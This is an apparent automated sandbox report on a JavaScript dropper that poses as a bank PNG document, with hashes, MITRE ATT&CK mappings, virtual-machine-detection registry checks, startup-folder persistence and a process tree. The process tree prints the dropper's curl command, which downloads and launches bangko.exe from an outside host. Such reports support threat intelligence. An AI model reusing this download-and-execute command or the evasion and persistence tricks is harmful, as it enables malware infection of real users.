4f978d559d34e0a2500d9bf984a49994b646d22cafeecbb1bb1f3249f522bc08

General

Target
Bpi_G0302620232079details0023png.js
Size 5KB
Sample260701-phpr9sdz5q
SHA256 4f978d559d34e0a2500d9bf984a49994b646d22cafeecbb1bb1f3249f522bc08
MD5 e98f29c65d1a76c64ee35c7286aa4353
SHA1 fce3cfac54ea0b2ca18774b8f1603b4731f00a98
SHA512 fbd5994cc12a8528e6ce747752f254cda2813d555990375434aa0d6681465fe57411982bcb1b78877237677fd015799c728502f00ffbf1677779785bd6789857
SSDEEP 96:ssR77utmE77LU7B/6b53EE5iIBjd20SI4GhiVHn+buQKddew5juJObFQbm:ss1utBU7Bit3EEvdhthMrew5juJ4FQK
TLSH
T160C12F95B4CF575E317152E05ABE0D2A6E9EEB00FEB494FCE631C859C8751308E086DB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	bangko.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	bangko.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	bangko.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	bangko.exe

Looks for VMWare services registry key. 1 TTPs 1 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMTools	bangko.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Docviews.exe	bangko.exe

Executes dropped EXE 1 IoCs

pid	Process
3172	bangko.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 8 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2639994890-966400312-4246138405-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3172	bangko.exe
3172	bangko.exe
3172	bangko.exe
5596	mspaint.exe
5596	mspaint.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5596	mspaint.exe
5596	mspaint.exe
5596	mspaint.exe
5596	mspaint.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4340 wrote to memory of 5760	4340	wscript.exe	88
PID 5760 wrote to memory of 716	5760	cmd.exe	90
PID 5760 wrote to memory of 3172	5760	cmd.exe	91
PID 3172 wrote to memory of 3956	3172	bangko.exe	92
PID 3956 wrote to memory of 5596	3956	cmd.exe	94

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Bpi_G0302620232079details0023png.js
1⤵
- Suspicious use of WriteProcessMemory
PID:4340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -o "C:\Users\Admin\AppData\Local\bangko.exe" "https://windowsmanagerchips.com/cgi-bin/bangko.exe" && start "" "C:\Users\Admin\AppData\Local\bangko.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5760
- - C:\Windows\system32\curl.exe
    curl -s -o "C:\Users\Admin\AppData\Local\bangko.exe" "https://windowsmanagerchips.com/cgi-bin/bangko.exe"
    3⤵
    PID:716
- - C:\Users\Admin\AppData\Local\bangko.exe
    "C:\Users\Admin\AppData\Local\bangko.exe"
    3⤵
    - Enumerates VirtualBox registry keys
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VMWare Tools registry key
    - Looks for VMWare services registry key.
    - Drops startup file
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3172
  - - C:\Windows\system32\cmd.exe
      "cmd" /C start "" C:\Users\Admin\AppData\Local\Temp\RTGS_ADVISORY.png
      4⤵
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:3956
    - - C:\Windows\system32\mspaint.exe
        
        "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\RTGS_ADVISORY.png"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:5596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
- Checks SCSI registry key(s)
PID:1864

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

4

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

2

T1082

Virtualization/Sandbox Evasion

4

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RTGS_ADVISORY.png

Path C:\Users\Admin\AppData\Local\Temp\RTGS_ADVISORY.png
Size 806KB
SHA256 9da8e46c0bc9d6e0946cf511c87917445d7a37d96634a1d26c902ea4191b8e0c
MD5 a8255562315f9872c62b4b9e5aa6b961
SHA1 ff145b2e331b5f41c06aee369398343039aa8dc3
SHA512 79aed9d2a1566c7a477297acc5632691fa8a8cc0eb1314bacb186e71c249a2e8cb1b88ceeca97e50f3c236a20c8584a12b82dd1f1b480ce23cb8004c014356d1
SSDEEP 12288:/f9BsNIV24IidM1vXfxXYSYU4K62VUXQ6NsHtZX7rPIkTFJ9W:n9BuIQ4JdM1vvFYU2hg6WtZX3z5W
TLSH
T170052354D9A2E023DB0749A86B771990F77C369BFA4B200F4BF2A1B7290317E8D558CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bangko.exe

Path C:\Users\Admin\AppData\Local\bangko.exe
Size 5.5MB
SHA256 fd44dc08d679c1796b45881929abe27e34719a6430c247e1af0313d660bd6d4a
MD5 af306dabee2f4a60ea27fbecd012bd2e
SHA1 25eed46afdc24b3442ed70f67f175c4e50fcf917
SHA512 9f54cd078c456eb5c5e70f8c12d2b67d793526a69de517141ac9de7f2063b57a3658b7ae64101ec650f7c1a9af2461d301384ec5cb4dc7d14a06a9819d48ffba
SSDEEP 49152:/mNGnBnGDbaKVocIlb3xJZDUDKaM8EXIAplmSd0jb0RTwRsfzX0d26zH/MNwBe8y:jzk/Sl64t1wzX+QG8C9udnmMFwlzqi
TLSH
T1FA466B227B5B99ADC04AC07083468B725A3571CA0F37BAFF458496353F69AF51F3C298
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads